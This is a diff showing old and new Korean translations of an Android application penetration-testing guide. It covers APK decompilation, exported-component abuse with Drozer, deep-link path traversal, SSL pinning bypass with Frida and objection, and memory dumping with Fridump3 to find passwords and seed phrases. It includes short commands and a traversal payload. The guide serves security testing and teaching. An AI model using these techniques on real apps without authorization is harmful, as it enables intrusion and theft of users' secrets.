때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서** APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로, **이 가능성을 항상 염두에 두세요**.
## Other interesting tricks
@ -48,7 +48,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## 정적 분석
우선, APK를 분석하기 위해서는 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다**.\
자세한 정보는 [**여기를 읽어보세요, 다양한 디컴파일러에 대한 정보가 있습니다**](apk-decompilers.md).
자세한 내용은 [**다양한 사용 가능한 디컴파일러에 대한 정보를 읽어보세요**](apk-decompilers.md).
### 흥미로운 정보 찾기
@ -56,7 +56,7 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
**Firebase**
**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 더 많은 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 더 많은 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml
@ -67,7 +67,7 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
- **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요.
- **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다.
- **네트워크 보안**: _res/xml/_의 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 드러낼 수 있습니다.
- **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다.
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약성에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식의 취약한 Android 버전을 지원하지 않는 것이 중요합니다.
@ -87,9 +87,9 @@ tapjacking.md
### 작업 하이재킹
**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 하이재킹할 수 있음을 의미합니다**(즉, 사용자 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**).
**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 하이재킹할 수 있음을 의미합니다**(즉, 사용자 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**).
자세한 정보는 다음에서 확인하세요:
자세한 내용은 다음에서 확인하세요:
{{#ref}}
android-task-hijacking.md
@ -99,12 +99,12 @@ android-task-hijacking.md
**내부 저장소**
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 **다른 애플리케이션, 특히 악의적인 애플리케이션의 접근을 제한하지 않습니다**.
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 다른 애플리케이션, 특히 악의적인 애플리케이션의 접근을 **제한하지 않습니다**.
1. **정적 분석:**
- `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **신중하게 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
- `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
2. **동적 분석:**
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인**하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인**하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
**외부 저장소**
@ -116,9 +116,9 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
- 접근이 용이하므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다**.
- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다.
3. **외부 저장소에서 데이터 처리**:
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증을 수행해야 합니다**. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
- 외부 저장소에 실행 파일이나 클래스 파일을 저장하여 동적으로 로드하는 것은 강력히 권장되지 않습니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증된 후 동적으로 로드되도록 해야 합니다**. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 필수적입니다.
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증을 수행**하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
- 동적 로딩을 위해 외부 저장소에 실행 파일이나 클래스 파일을 저장하는 것은 강력히 권장되지 않습니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증되었는지 확인**한 후 동적으로 로드해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 접근할 수 있습니다.
@ -149,11 +149,11 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Use of Insecure and/or Deprecated Algorithms**
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항성**이 있는 해시를 사용해야 합니다.
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 가능한 해시를 사용해야 합니다.
### Other checks
- 공격자가 리버스 엔지니어링 작업을 어렵게 하기 위해 **APK를 난독화**하는 것이 좋습니다.
- APK를 **난독화**하여 공격자의 리버스 엔지니어링 작업을 어렵게 만드는 것이 좋습니다.
- 앱이 민감한 경우(예: 은행 앱) **모바일이 루팅되었는지 확인하는 자체 검사를 수행**하고 그에 따라 행동해야 합니다.
- 앱이 민감한 경우(예: 은행 앱) **에뮬레이터**가 사용되고 있는지 확인해야 합니다.
- 앱이 민감한 경우(예: 은행 앱) **실행하기 전에 자체 무결성을 확인**하여 수정되었는지 확인해야 합니다.
@ -266,10 +266,10 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging**
개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 권장합니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다.
개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다.
> [!WARNING]
> **Android 4.0 이후 버전**에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\
> **Android 4.0** 이후 버전에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\
> 어쨌든, **민감한 정보를 기록하지 않는 것이 여전히 권장됩니다**.
**Copy/Paste Buffer Caching**
@ -280,7 +280,7 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다.
펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**.
펜테스터로서 **이 로그를 살펴보는 것이 좋습니다**.
**Analytics Data Sent To 3rd Parties**
@ -288,22 +288,22 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣
### SQLite DBs
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블****열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블****열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다.
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다.
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수 있다면** 여전히 **취약점**입니다.
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 **Android 앱의 역할을 가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용하는 데 유용한 도구**입니다.
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
또한 활동의 코드는 **`onCreate`** 메서드에서 시작된다는 을 기억하세요.
또한 활동의 코드는 **`onCreate`** 메서드에서 시작된다는 을 기억하세요.
**Authorisation bypass**
@ -321,43 +321,43 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**NOTE**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용할 경우 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다.
> [!NOTE]
> 권한 우회가 항상 취약점이 되는 것은 아니며, 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다.
> 권한 우회가 항상 취약점이 되는 것은 아니며, 이는 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다.
**민감한 정보 유출**
**활동은 결과를 반환할 수도 있습니다**. 만약 보호되지 않은 내보내기된 활동에서 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환**하는 것을 찾으면, 민감한 정보 유출이 발생합니다.
**활동은 결과를 반환할 수도 있습니다**. 만약 당신이 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는다면, 이는 민감한 정보 유출입니다.
#### Tapjacking
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하도록 만들 수 있습니다**. Tapjacking에 대한 더 많은 정보는 [**여기를 참조하세요**](#tapjacking).
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하도록 만들 수 있습니다**. Tapjacking에 대한 더 많은 정보는 [**여기를 클릭하세요**](#tapjacking).
### **콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작**
### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#content-provider)\
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#content-provider)\
콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
[**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers)
### **서비스 악용**
[**서비스가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#services)\
[**서비스가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#services)\
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 것을 기억하세요.
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며, **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드****확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 우회 등을 위해 **동적으로** **테스트**해야 합니다.\
서비스는 기본적으로 **데이터를 수신하고**, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드를 확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출하기 위해 동적으로 테스트**해야 합니다, 인증 수단을 우회하는 등의 작업을 위해...\
[**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services)
### **브로드캐스트 수신기 악용**
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 것을 기억하세요.
브로드캐스트 수신기는 특정 유형의 메시지를 기다니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
[**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](#exploiting-broadcast-receivers)
### **스킴 / 딥 링크 악용**
MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수** 있습니다:
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수 있습니다**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
@ -376,11 +376,11 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해
**민감한 정보**
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!**
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 왜냐하면 다른 애플리케이션이 **딥링크를 가장하여 그 데이터를 훔칠 수 있기 때문입니다!**
**경로의 매개변수**
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, `example://app/users?username=../../unwanted-endpoint%3fparam=value`와 같은 경로 탐색을 강제할 수 있습니다.\
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, 경로 탐색을 강제하여 다음과 같은 접근을 할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기에서](http://dphoeniixx.com/2020/12/13-2/) 확인하세요.
**더 많은 예시**
@ -390,8 +390,8 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해
### 전송 계층 검사 및 검증 실패
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다**. 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다.
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다**, 안전하지 않은 암호화 스위트를 사용합니다. 이 취약점은 연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
- **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티에 의해 가로채는 것으로부터 보호하지 못합니다.
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다**, 안전하지 않은 암호화 스위트를 사용하는 경우가 있습니다. 이 취약점은 연결을 중간자 공격(MITM)에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
- **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티에 의해 가로채는 것으로부터 보호하지 못합니다.
#### 인증서 검증
@ -403,19 +403,19 @@ SSL 핀닝은 애플리케이션이 서버의 인증서를 애플리케이션
#### 트래픽 검사
HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 정 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 정 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성 수정하는 방법에 대한 지침은 [**이 튜토리얼을 참조하세요**](make-apk-accept-ca-certificate.md).
**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성 수정에 대한 지침은 [**이 튜토리얼을 참조하세요**](make-apk-accept-ca-certificate.md).
#### SSL 핀닝 우회
SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다:
- **apk**를 자동으로 **수정**하여 SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다.
- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)입니다.
- 자동으로 **apk를 수정하여** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)로 SSL 핀닝을 **우회**합니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다.
- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 다음과 같습니다: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명됨).
- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62).
- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 일반 웹 취약점 찾기
@ -427,17 +427,17 @@ SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우
**실행 중인 애플리케이션에 접근하고 런타임에서 메서드를 후킹하여 동작을 변경하고, 값을 변경하고, 값을 추출하고, 다른 코드를 실행할 수 있습니다...**\
Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법을 알아야 합니다.
- Frida 사용 방법 배우기: [**Frida 튜토리얼**](frida-tutorial/)
- Frida 사용 방법 배우기: [**Frida 튜토리얼**](frida-tutorial/index.html)
- Frida로 작업하기 위한 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection은 Frida 사용을 자동화하는 데 유용합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Ojection은 Frida 사용을 자동화하는 데 훌륭합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- 여기에서 멋진 Frida 스크립트를 찾을 수 있습니다: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지시한 대로 Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회해 보세요(도구 [linjector](https://github.com/erfur/linjector-rs)).
### **메모리 덤프 - Fridump**
애플리케이션이 비밀번호나 암기구문과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요.
애플리케이션이 비밀번호나 니모닉과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요.
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 앱의 메모리를 덤프할 수 있습니다:
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 다음과 같이 앱의 메모리를 덤프할 수 있습니다:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```
### **Keystore의 민감한 데이터**
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** pentests는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
